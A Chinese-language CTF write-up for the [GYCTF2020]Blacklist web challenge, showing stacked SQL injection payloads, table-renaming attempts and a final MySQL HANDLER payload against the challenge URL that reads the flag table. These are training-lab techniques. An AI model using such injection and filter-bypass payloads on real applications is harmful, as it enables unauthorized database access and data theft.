练习8 Web [GYCTF2020]Blacklist

这道题其实不是堆叠注入,但是我在联合查询无效后,试了一下堆叠,最后一步发现被过滤的sql语句太多了,完全没法

查阅其他wp的过程[GYCTF2020]Blacklist 1(详细做题过程)

是用的handler语句,只能用于MySQL中,是类似于select的语句,详细内容我记录在我的wp中

先输入一些常规数字或者字母字符

返回值:

  • 数字:1
php 复制代码
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
  • 数字:2
php 复制代码
 array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(12) "miaomiaomiao"
}

其他字符均没有返回值

尝试常见的sql语句,发现返回如下内容,查询后发现是提示这些sql语句都被过滤掉了

在博客https://blog.csdn.net/weixin_45551083/article/details/105389126 中提到了"堆叠注入"

堆叠注入详解

堆叠注入是用 ; 分隔开的多行sql语句

sql 复制代码
?inject=2';show databases;#

得到以下内容

继续 show tables

找到一个"FlagHere"表

查找"FlagHere"下面的所有列元素:看到一个字符串flag 后面还有一个varchar(100)

应该是要想办法打印出来

到这里思路确实会卡住
再次看堆叠注入的特点,sql语句是各自执行的

查找"words"下面的所有列元素:
会发现刚好是 一个int和一个varchar(20)
对应一开始我们输入数字1或者2的"一个数字+一个字符串"的格式

再下一步的思路是既然默认查询到的是显示"word"这张表
那么,就把word表名替换到FlagHere,同时列名也同步替换
这样FlagHere里的内容不就默认打印出来了

依次将words表改名为noWords

FlagHere改名为words

然后将此时的words表中的列名flag改为id,与原来的words表中列名第一个为id第二个为No一一对应

sql 复制代码
?inject=2';
rename table `words` to `noWords`; 
rename table `FlagHere` to `words`;
alter table `words` change `flag`  `id` varchar(100);#

提交发现alter也被过滤了,服了

直接查这道题的wp,开头的链接[GYCTF2020]Blacklist 1(详细做题过程)

又是新东西

Handler语法

handler语句,一行一行的浏览一个表中的数据

handler语句并不具备select语句的所有功能。

mysql专用的语句,并没有包含到SQL标准中。

HANDLER语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。

sql 复制代码
> 1、HANDLER tbl_name OPEN

打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。

2、HANDLER tbl_name READ FIRST

获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。

sql 复制代码
> 3、HANDLER tbl_name CLOSE

关闭打开的句柄。

sql 复制代码
> 4、HANDLER tbl_name READ index_name = value

通过索引列指定一个值,可以指定从哪一行开始,通过NEXT继续浏览。

直接用handler语法打印之前查到的FlagHere表,输出内容就行

http://6e7bc099-1e40-424e-9cc5-235785f06b8b.node5.buuoj.cn:81/?inject=2';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

相关推荐
范纹杉想快点毕业几秒前
从单片机基础到程序框架:构建嵌入式系统的完整路径
数据库·mongodb
数据知道3 分钟前
PostgreSQL性能优化:如何定期清理无用索引以释放磁盘空间(索引膨胀监控)
数据库·postgresql·性能优化
喵叔哟4 分钟前
67.【.NET8 实战--孢子记账--从单体到微服务--转向微服务】--新增功能--分摊功能总体设计与业务流程
数据库·微服务·架构
tryCbest4 分钟前
Oracle查看存储过程
数据库·oracle
咩咩不吃草11 分钟前
【MySQL】表和列、增删改查语句及数据类型约束详解
数据库·mysql·语法
不懒不懒11 分钟前
【MySQL 实战:从零搭建规范用户表(含完整 SQL 与避坑指南)】
数据库
ID_1800790547315 分钟前
Python结合淘宝关键词API进行商品价格监控与预警
服务器·数据库·python
数据知道29 分钟前
PostgreSQL 故障排查:万字详解如何找出数据库中的死锁
数据库·postgresql
AI_567837 分钟前
阿里云OSS成本优化:生命周期规则+分层存储省70%
运维·数据库·人工智能·ai
choke23340 分钟前
软件测试任务测试
服务器·数据库·sqlserver